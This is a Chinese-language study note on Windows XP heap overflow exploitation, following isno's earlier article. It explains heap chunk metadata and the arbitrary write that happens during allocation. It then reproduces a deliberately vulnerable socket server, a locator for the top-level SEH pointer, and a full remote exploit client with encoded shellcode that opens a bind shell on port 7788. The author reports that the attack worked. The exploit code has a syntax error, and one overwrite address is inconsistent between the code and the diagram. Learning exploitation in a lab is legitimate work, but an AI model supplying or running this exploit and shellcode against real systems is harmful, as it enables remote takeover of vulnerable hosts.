《Windows Heap 溢出利用》一文学习笔记
文章作者:f-king晚上无聊中,翻到isno的《Windows下的HEAP溢出及其利用》这篇文章,静下心读了读
发现文章并不向以前阅读那样难以理解了
我的操作系统平台:WinXP 中文+sp1 vc6
晚上11点,开始调试
从isno的文章可以知道,不管C函数malloc/free或者C++的new/delete或者WIN32API函数HeapAlloc/HeapFree来动态分配内存,这些函数最终都将调用ntdll.dll中的RtlAllocateHeap/RtlFreeHeap来进行实际的内存分配工作,所以我们只需要分析RtlAllocateHeap/RtlFreeHeap就行了。
我们先对HEAP有一些基本的了解:
(不好意思了isno,借用你的原文吧。)
一个进程可以有多个HEAP区(可以在程序里面自己开辟几个 ^^)
每个区的 HEAP首地址用句柄表示 hHeap
HEAP结构:
+-------------------------------------------------------------------+
| HEAP总体管理结构区 | 双指针区 | 用户分配内存区 |
+-------------------------------------------------------------------+
|_hHeap |_hHeap+0x178 (但这个 0x178,我还没有明白是什么意思)
内存分配:RtlAllocateHeap(HANDLE hHeap,DWORD dwFlags,SIZE_T dwBytes)
我没有安装msdn,所以感觉第一个参数是句柄,这个isno的文章也说了,
第二个参数应该是标志,用来设置一些管理结构
第三个参数是分配的大小,看Bytes是按字节分配吧。
然后最精彩的部分就是以下部分:
两块连续分配的内存块之间并不是紧挨着的,而是有8字节的管理结构,最末尾的一块内存后面还另外多了8字节的指针指向双指针区,就是上面提到过的。
假设有以下程序:
buf1 = HeapAlloc(hHeap, 0, 16);
buf2 = HeapAlloc(hHeap, 0, 16);
连续分配了两块16字节内存,实际在内存中(用户分配区)的情况是这样的:
第一次分配后:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte | 4 byte|
+-----------------------------------------------+
| 用户内存 | 管理结构 | 两个指针 |
16 byte
第二次分配后:
+---------------------------------------------------------------------------------+
| buf1 | 8 byte | buf2 | 8 byte |4 byte|4 byte|
+---------------------------------------------------------------------------------+
| 用户内存 | 管理结构 | 用户内存 | 管理结构 | 两个指针 |
16 byte 16 byte
在第二次分配内存的时候会利用第一块内存管理结构后面那两个指针进行一些操作,其中会有一次写内存的操作:
77FCB397 mov [ecx], eax ;把第1个4 byte eax复制到第2个 4 byte ecx中
77FCB399 mov [eax+4], ecx ;把刚才复制过的ecx内容复制到eax+4 移动4个字节后的eax
这时的eax和ecx分别指向:
+-----------------------------------------------+
| buf1 | 8 byte |4 byte|4 byte|
+---------------------------------^------^------+
| 用户内存 | 管理结构 |_eax |_ecx |
假设我们分配完buf1之后向其中拷贝内容,拷贝的内容大小超过buf1的大小,即>16字节,就会发生溢出,当如果我们覆盖掉了那两个4字节的指针,而下一次分配buf2之前又没有把buf1释放掉的话,那么就会把一个4字节的内容写入一个地址当中,而这个内容和地址都是我们能够控制的,这样我们就可以控制函数的流程转向我们的shellcode了。
『这里我们应该明白了吧,至少我们可以利用第二次对内存进行写操作的时候作手脚 :)
那么第一次呢?呵呵,第一次我们当然要分配一段字符来触发溢出点的位置。:P』
/////////////////////////////////////////////////////////////
//Windows下HEAP溢出漏洞服务端演示程序
//感谢inso的文章让我学习到不少东西 :)
//稍微改动了一下,看起来舒服些
/////////////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define PORT 1500 //定义端口1500
#define BUFFLEN 32 //分配内存的大小
#define COPYLEN 64 //实际拷贝的大小
int main(int argc,char *argv[])
{
WSADATA wsd;
SOCKET sListen, sClient;
struct sockaddr_in local, client;
int iAddrSize;
HANDLE hHeap;
//首先建立两个socket结构,然后建立两个sockaddr_in保存主机信息,iAddrSize为sClient在accept最后一个参数赋值
char *buf1, *buf2;
char buff[4096];
//开辟一个4k大小的缓冲区
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock!\n");
return 1;
}
//判断socket dll版本为2.2
sListen = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sListen == INVALID_SOCKET)
{
printf("Failed Create Socket!\n");
return 0;
}
//建立一个套接字
local.sin_addr.s_addr = htonl(INADDR_ANY);
//设置为任意地址
local.sin_family = AF_INET;//Internet域
local.sin_port = htons(PORT); //指定端口1500
if (bind(sListen, (struct sockaddr *)&local, sizeof(local)) == SOCKET_ERROR)
{
printf("bind() failed: %d\n", WSAGetLastError());
return 1;
}
//绑定服务,端口为1500
listen(sListen, 8); //开始监听,接受为8个连接请求
iAddrSize = sizeof(client);
sClient = accept(sListen, (struct sockaddr *)&client, &iAddrSize);
if (sClient == INVALID_SOCKET)
{
printf("accept() failed: %d\n", WSAGetLastError());
return 1;
}
printf("connect form: %s:%d\n", inet_ntoa(client.sin_addr), ntohs(client.sin_port));
//显示远程连接IP地址,和端口
hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x10000, 0xfffff);
//我们自己建立一个HEAP,以免破坏掉进程默认HEAP以后shellcode无法正常运行
buf1 = HeapAlloc(hHeap, 0, BUFFLEN);
//动态分配一块BUFFLEN大小的(32 bytes)的内存buf1
recv(sClient, buff, 4096, 0);
//注意:这里溢出的不是buff,而是buf1,
//buff是在栈中开辟的缓冲区,它的大小是4096,上面recv的也是4096,所以不会溢出
printf("recv1: %s\n", buff);
//将从客户端接受到的内容(即buff)拷贝到buf1中
//如果接受到的内容大于32字节将发生溢出
//这里错误的使用了COPYLEN(64 bytes),因此造成溢出
memcpy(buf1, buff, COPYLEN);
// ^32 ^4096 ^64注意:问题发生在这里,memcpy第三个参数是指定复制数据的长度,这里是64,向
// 32个字节复制,当然溢出了。
//如果覆盖到HEAP中的管理结构,那么当再次动态分配内存时将可能被利用
buf2 = HeapAlloc(hHeap, 0, BUFFLEN);
//动态开辟第二快32个字节的内存,这个时候如果buf1没有释放,那么我们可以覆盖buf1后面连续2个4个字节的区域
recv(sClient, buff, 4096, 0);
printf("recv2: %s\n", buf2);
HeapFree(hHeap, 0, buf1);
HeapFree(hHeap, 0, buf2);
//释放buf1,buf2 两块内存
closesocket(sListen);
WSACleanup();
return 0;
}
程序编译后用发行模式生成pe格式文件,运行,telnet localhost 1500
输入一个f 程序发生崩溃,点取消,直接进入vc调试界面
光标停留在
77F581BD mov dword ptr [eax],ecx
77F581BF mov dword ptr [ecx+4],eax
和isno原文说的一样,在第一次分配后写操作发生问题
关于shellcode的提取,我正在学习,所以这里我就不发表任何意见
isno原文中引用的是利用线程默认异常处理指针的方法,利用
SetUnhandledExceptionFilter这个函数来设置默认异常处理指针:
LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
)
.text:77E6BE11 SetUnhandledExceptionFilter proc near
.text:77E6BE11 mov ecx, [esp+lpTopLevelExceptionFilter]
.text:77E6BE15 mov eax, dword_77EBF44C
.text:77E6BE1A mov dword_77EBF44C, ecx
.text:77E6BE20 retn 4
.text:77E6BE20 SetUnhandledExceptionFilter endp
这里我们可以看到dword_77EBF44C这个地址,我们需要作的就是得到并且改变dword_77EBF44C这个地址来更改线程默认异常处理指针的返回地址,个人理解是保存shellcode的那段地址,我们可以很好的理解,如果程序发生异常,则调用SEH来返回到Shellcode地址,那么程序就可以
运行我们的Shellcode指令了。
下面是isno给出的搜索这个地址的代码
#include <stdio.h>
#include <windows.h>
void main()
{
unsigned int sehaddr;
int *un;
HMODULE hk = LoadLibrary("KERNEL32.dll");
un = (int *)GetProcAddress(hk,"SetUnhandledExceptionFilter");
_asm{
mov eax,un
add eax,5
mov ebx,[eax]
mov sehaddr,ebx
}
printf("the top seh: 0x%x\r\n",sehaddr);
_getch();
return;
}
编译后我在Debug方式下运行得到the top seh: 0x77eb73b4(按照isno说法,我想这个应该在xp版本中通用的地址)
得到这个地址后,继续往下看:
/*
win_heap_exp.c
HEAP溢出漏洞的攻击程序
*/
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
unsigned char shellcode[] =
//打开7788端口的shellcode
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x18\x5f\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x05"
"\x34\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe3\xff\xff\xff\xff"
"\x21\x46\x2b\x46\xea\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x6a\x30\x9c"
"\x55\x55\x13\xfa\xa8\xaa\xaa\x12\x66\x66\x66\x66\x59\x30\x41\x6d"
"\x30\x6f\x30\x46\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x9e\x5d"
"\x55\x55\xba\xaa\xaa\xaa\x43\x48\xac\xaa\xaa\x25\x30\x6f\x30\x42"
"\x5d\x55\x55\x27\x17\x5e\x5d\x55\x55\xce\x30\x4b\xaa\xaa\xaa\xaa"
"\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x30\x6f\x5e\x5d\x55"
"\x55\x55\x55\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x42\xad"
"\x23\x30\x6f\x52\x5d\x55\x55\x6d\x30\x6f\x30\x4e\x5d\x55\x55\xaa"
"\xaa\x4a\xdd\x42\xd4\xac\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa"
"\xa5\x30\x6f\x77\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x2b\x6b"
"\xaa\xaa\xab\xaa\x23\x27\x30\x4e\x5d\x55\x55\x2b\x17\x30\x4e\x5d"
"\x55\x55\xaa\xaa\xaa\xd2\xdf\xa0\x6d\x30\x6f\x30\x4e\x5d\x55\x55"
"\xaa\xaa\x5a\x15\x21\x3f\x30\x4e\x5d\x55\x55\x99\x6a\xcc\x21\xa8"
"\x97\xe7\xf0\xaa\xaa\xa5\x30\x6f\x30\x70\xab\xaa\xaa\x21\x27\x30"
"\x4e\x5d\x55\x55\x21\xfb\x96\x21\x30\x6f\x30\x4e\x5d\x55\x55\x99"
"\x63\xcc\x21\xa6\xba\x2b\x53\xfa\xef\xaa\xaa\xa5\x30\x6f\xd3\xab"
"\xaa\xaa\x21\x3f\x30\x4e\x5d\x55\x55\x21\xe8\x96\x21\x27\x30\x4e"
"\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x30\x4e\x5d\x55\x55\x23\x3f"
"\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xa6"
"\xa9\x27\x30\x4e\x5d\x55\x55\x23\x27\x36\x5d\x55\x55\x21\x3f\x36"
"\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5\x30\x6f\x99\xab\xaa\xaa"
"\x21\x30\x6f\x36\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5\x30"
"\x6f\x8a\xab\xaa\xaa\x21\x27\x30\x4e\x5d\x55\x55\x23\x27\x3e\x5d"
"\x55\x55\x21\x3f\x30\x4a\x5d\x55\x55\x21\x30\x6f\x30\x4e\x5d\x55"
"\x55\xa9\xe8\x8a\x23\x30\x6f\x36\x5d\x55\x55\x6d\x30\x6f\x32\x5d"
"\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x32\x5d\x55\x55\x29\x6b"
"\xab\x23\x27\x32\x5d\x55\x55\x21\x3f\x36\x5d\x55\x55\x29\x68\xae"
"\x23\x3f\x36\x5d\x55\x55\x21\x30\x6f\x30\x4a\x5d\x55\x55\x21\x27"
"\x32\x5d\x55\x55\x91\xe2\xb2\xa5\x27\x6a\xaa\xaa\xaa\x21\x3f\x36"
"\x5d\x55\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\x96\xab\xed"
"\xcf\xde\xfa\xa5\x30\x6f\x30\x4a\xaa\xaa\xaa\x21\x3f\x36\x5d\x55"
"\x55\x21\xa8\x21\x27\x30\x4e\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5"
"\xc9\xeb\xa5\x30\x6f\x30\x6e\xaa\xaa\xaa\x21\x3f\x32\x5d\x55\x55"
"\xa9\x3f\x32\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21\x30\x6f"
"\x30\x4a\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x30"
"\x6f\x36\x5d\x55\x55\x21\x27\x30\x4a\x5d\x55\x55\x21\xfb\xba\x21"
"\x30\x6f\x36\x5d\x55\x55\x27\xe6\xba\x55\x23\x27\x36\x5d\x55\x55"
"\x21\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x36\x5d"
"\x55\x55\xa9\x3f\x36\x5d\x55\x55\xa9\x3f\x30\x4e\x5d\x55\x55\x21"
"\x30\x6f\x30\x4a\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x36"
"\x5d\x55\x55\x21\x30\x6f\x36\x5d\x55\x55\xa9\x30\x6f\x30\x4e\x5d"
"\x55\x55\x23\x30\x6f\x30\x46\x5d\x55\x55\x41\xaf\x43\xa7\x55\x55"
"\x55\x43\xbc\x54\x55\x55\x27\x17\x5e\x5d\x55\x55\x21\xed\xa2\xce"
"\x30\x49\xaa\xaa\xaa\xaa\x29\x17\x30\x46\x5d\x55\x55\xaa\xdf\xaf"
"\x43\xdf\xae\xaa\xaa\x21\x27\x30\x42\x5d\x55\x55\xcc\x21\xbb\xcc"
"\x23\x3f\x86\x5d\x55\x55\x21\x30\x6f\x30\x42\x5d\x55\x55\x29\x6a"
"\xa8\x23\x30\x6f\x30\x42\x5d\x55\x55\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x36\x5d\x55\x55\x29\x6b\xab\x23"
"\x27\x36\x5d\x55\x55\x29\x17\x36\x5d\x55\x55\xbb\xa5\x27\x3f\xaa"
"\xaa\xaa\x29\x17\x36\x5d\x55\x55\xa2\xdf\xb4\x21\x5e\x21\x3f\x30"
"\x42\x5d\x55\x55\xf8\x55\x3f\x1e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x23\x30\x6f\x3e\x5d\x55\x55\x41\x80\x21\x5e\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xfa\x21\x27\x3e\x5d\x55\x55\xfb\x55\x3f\x30"
"\x46\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x3f\x36\x5d\x55"
"\x55\x23\x30\x6e\x3f\x1a\x5d\x55\x55\x41\xa5\x21\x30\x6f\x30\x42"
"\x5d\x55\x55\x29\x6a\xab\x23\x30\x6f\x30\x42\x5d\x55\x55\x21\x27"
"\x30\x42\x5d\x55\x55\xa5\x14\xbb\x30\x6f\x78\xdf\xba\x21\x30\x6f"
"\x30\x42\x5d\x55\x55\xa5\x14\xe2\xab\x30\x6f\x63\xde\xa8\x41\xa8"
"\x41\x78\x21\x3f\x30\x42\x5d\x55\x55\x29\x68\xab\x23\x3f\x30\x42"
"\x5d\x55\x55\x43\xe5\x55\x55\x55\x21\x5e\xc0\xac\xc0\xab\xc0\xa8"
"\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f"
"\xe6\x5d\x55\x55\xcc\x6d\x30\x6f\x92\x5d\x55\x55\xa8\xaa\xcc\x21"
"\x30\x6f\x86\x5d\x55\x55\xcc\x23\x30\x6f\x90\x5d\x55\x55\x6d\x30"
"\x6f\x96\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\x36\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x29\x17\x36\x5d\x55\x55\xaa\xde\xf5\x21\x5e\xc0"
"\xba\x27\x27\x92\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55"
"\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\x36"
"\x5d\x55\x55\xcc\x21\x30\x6f\x90\x5d\x55\x55\xcc\xaf\xaa\xab\xcc"
"\x23\x30\x6f\x90\x5d\x55\x55\x21\x27\x90\x5d\x55\x55\x2b\x4b\x55"
"\x55\xaa\xaa\x2b\x53\xaa\xab\xaa\xaa\xd7\xb8\xcc\x21\x3f\x90\x5d"
"\x55\x55\xcc\x29\x68\xab\xcc\x23\x3f\x90\x5d\x55\x55\x41\x32\x21"
"\x5e\xc0\xa0\x21\x30\x6f\xe6\x5d\x55\x55\xfa\x55\x3f\x76\x5d\x55"
"\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x13\xab\xaa\xaa\xaa\x30\x6f\x63"
"\xa5\x30\x6e\x6c\xa8\xaa\xaa\x21\x5e\x27\x3f\x9e\x5d\x55\x55\xf8"
"\x27\x30\x6f\x92\x5d\x55\x55\xfa\x21\x27\xe6\x5d\x55\x55\xfb\x55"
"\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x30\x6f\xe2"
"\x5d\x55\x55\x6d\x30\x6f\xaa\x5d\x55\x55\xa6\xaa\xaa\xaa\x6d\x30"
"\x6f\xae\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x30\x6f\xa2\x5d\x55\x55"
"\xab\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\xaa\x5d\x55\x55\xf8\x27"
"\x30\x6f\xbe\x5d\x55\x55\xfa\x27\x27\xb2\x5d\x55\x55\xfb\x55\x3f"
"\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\xc0\xaa\x27"
"\x3f\xaa\x5d\x55\x55\xf8\x27\x30\x6f\xa6\x5d\x55\x55\xfa\x27\x27"
"\xba\x5d\x55\x55\xfb\x55\x3f\x12\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
"\xe9\xe1\x27\x17\xfa\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58"
"\x30\x41\x6d\x30\x6f\xd6\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x30"
"\x6f\x2a\x5d\x55\x55\xaa\xaa\x21\x3f\xba\x5d\x55\x55\x23\x3f\x22"
"\x5d\x55\x55\x21\x30\x6f\xbe\x5d\x55\x55\x23\x30\x6f\x26\x5d\x55"
"\x55\x21\x27\xbe\x5d\x55\x55\x23\x27\x3a\x5d\x55\x55\x21\x5e\x27"
"\x3f\xb6\x5d\x55\x55\xf8\x27\x30\x6f\xfa\x5d\x55\x55\xfa\xc0\xaa"
"\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x30\x42\x5d\x55"
"\x55\xfb\xc0\xaa\x55\x3f\x16\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x23\x30\x6f\x36\x5d\x55\x55\x21\x5e\xc0\xaa\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\xc2\xaa\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55"
"\x55\xfa\x21\x27\xb2\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91"
"\x5e\x3a\xe9\xe1\xe9\xe1\x30\x50\xab\xaa\xaa\xaa\x30\x6f\x78\xa5"
"\x30\x6e\xdf\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0\xaa\x27\x30\x6f\x9a"
"\x5d\x55\x55\xfa\xc2\xaa\xae\xaa\xaa\x27\x27\xaa\x52\x55\x55\xfb"
"\x21\x3f\xb2\x5d\x55\x55\xf8\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a"
"\xe9\xe1\xe9\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xa5\x24\x30\x6e\xaa"
"\xaa\xaa\x21\x5e\xc0\xaa\x27\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xb2"
"\x5d\x55\x55\xfa\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x29\x17\x9a\x5d\x55\x55\xaa\xd4\x82\x21\x5e\xc0\xaa\x21\x27"
"\x9a\x5d\x55\x55\xfb\x27\x3f\xaa\x52\x55\x55\xf8\x21\x30\x6f\xe2"
"\x5d\x55\x55\xfa\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
"\xe1\x41\x8b\x21\x5e\xc0\xaa\xc0\xa2\x21\x27\x30\x42\x5d\x55\x55"
"\xfb\x21\x3f\xe2\x5d\x55\x55\xf8\x55\x3f\x4e\x5d\x55\x55\x91\x5e"
"\x3a\xe9\xe1\xe9\xe1\x43\x18\xaa\xaa\xaa\x21\x5e\xc0\xaa\xc2\xaa"
"\xae\xaa\xaa\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21\x27\xe2\x5d\x55"
"\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23"
"\x30\x6f\x9a\x5d\x55\x55\x29\x17\x9a\x5d\x55\x55\xaa\xd5\xf8\x6d"
"\x30\x6f\x9a\x5d\x55\x55\xac\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f"
"\x9a\x5d\x55\x55\xf8\x21\x30\x6f\x9a\x5d\x55\x55\xfa\x21\x27\x30"
"\x42\x5d\x55\x55\x29\x6b\xa2\xfb\x21\x3f\xa6\x5d\x55\x55\xf8\x55"
"\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x21\x5e\x21\x30"
"\x6f\xe2\x5d\x55\x55\xfa\x55\x3f\x5a\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x41\x98\x21\x5e\xc0\xaa\x27\x27\x9a\x5d\x55\x55\xfb"
"\x21\x3f\x9a\x5d\x55\x55\xf8\x27\x30\x6f\xaa\x52\x55\x55\xfa\x21"
"\x27\xa6\x5d\x55\x55\xfb\x55\x3f\x66\x5d\x55\x55\x91\x5e\x3a\xe9"
"\xe1\xe9\xe1\x43\xd4\x54\x55\x55\x43\x87\x57\x55\x55\x41\x54\xf2"
"\xfa\x21\x17\x30\x42\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e\xa6"
"\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46"
"\x42\xb3\x53\x55\x55\xb4\xc6\xe6\xc5\xcb\xce\xe6\xc3\xc8\xd8\xcb"
"\xd8\xd3\xeb\xaa\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9"
"\xd8\xcf\xcb\xde\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6"
"\xc5\xd9\xcf\xe2\xcb\xc4\xce\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb"
"\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf\xcb\xce\xec\xc3\xc6\xcf"
"\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xdd\xd9\x98\xf5\x99"
"\x98\x84\xce\xc6\xc6\xaa\xd9\xc5\xc9\xc1\xcf\xde\xaa\xc8\xc3\xc4"
"\xce\xaa\xc6\xc3\xd9\xde\xcf\xc4\xaa\xcb\xc9\xc9\xcf\xda\xde\xaa"
"\xd9\xcf\xc4\xce\xaa\xd8\xcf\xc9\xdc\xaa\xc3\xc5\xc9\xde\xc6\xd9"
"\xc5\xc9\xc1\xcf\xde\xaa\xc9\xc6\xc5\xd9\xcf\xd9\xc5\xc9\xc1\xcf"
"\xde\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xcf\xd2\xc3\xde\xa7\xa0"
"\xaa";
/* 2161+16 bytes long */
int main(int argc, char *argv[])
{
WSADATA wsd;
SOCKET sClient;
int ret, i;
struct sockaddr_in server;
struct hostent *host = NULL;
char buff[4096] = ;
if(argc != 3)
{
printf("usage: %s target port\n", argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2,2), &wsd) != 0)
{
printf("Failed to load Winsock library!\n");
return 1;
}
sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sClient == INVALID_SOCKET)
{
printf("socket() failed: %d\n", WSAGetLastError());
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons((u_short)atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);
if (server.sin_addr.s_addr == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if (host == NULL)
{
printf("Unable to resolve server: %s\n", argv[1]);
return 1;
}
CopyMemory(&server.sin_addr, host->h_addr_list[0],
host->h_length);
}
//连接到目标主机的1500端口
if (connect(sClient, (struct sockaddr *)&server,
sizeof(server)) == SOCKET_ERROR)
{
printf("connect() failed: %d\n", WSAGetLastError());
return 1;
}
//下面开始构造溢出串
for(i=0;i<sizeof(buff);)
{
buff[i++] = 0xeb;
buff[i++] = 0x06;
}
//先把前面放上大量的jmp 6指令(0xeb,0x06)作为NOP
*(unsigned int *)&buff[32+8] = 0x0012f5bf; //shellcode地址 ---》这里还有些不明白是怎么计算得到的
*(unsigned int *)&buff[32+8+4] = 0x77eb73b4; //默认异常处理地址 ---》这里注意
//在对应的位置放上要改写的内存地址和shellcode地址,
//这里用的shellcode地址是放在漏洞程序中的char buff[4096]里面的,
//这个是堆栈中的缓冲区地址,在不同的系统中可能略有不同
memcpy(&buff[sizeof(buff)-strlen(shellcode)-1],shellcode,strlen(shellcode));
//然后把shellcode放在最后面
/*
整个构造好的溢出串如下:
+------------------------------------------------------------------------------+
|jmp 6 jmp 6...|0x0012f5bf|0x77ebf44c|jmp 6 jmp 6...jmp 6 jmp 6| shellcode |
+------------------------------------------------------------------------------+
| 40 bytes | 4 bytes | 4 bytes | |shellcode的长度|
*/
//shellcode的前面要放上几个0x90,以便最后一个jmp 6可以跳到其中
buff[sizeof(buff)-1] = 0;
i = 4096;
//把溢出串发送过去
ret = send(sClient, buff, i, 0);
printf("shellcode sended!\ntelnet to 7788 port");
closesocket(sClient);
WSACleanup();
return 0;
}
=======================================
修改好后,我编译运行成功
然后vul出现
???????????????和一些特殊符号
telnet localhost 7788
成功
注:
资料代码参考来源:isno 《Windows下的HEAP溢出及其利用》
由于个人技术有限,学习溢出才刚开始,请大家勿笑 :(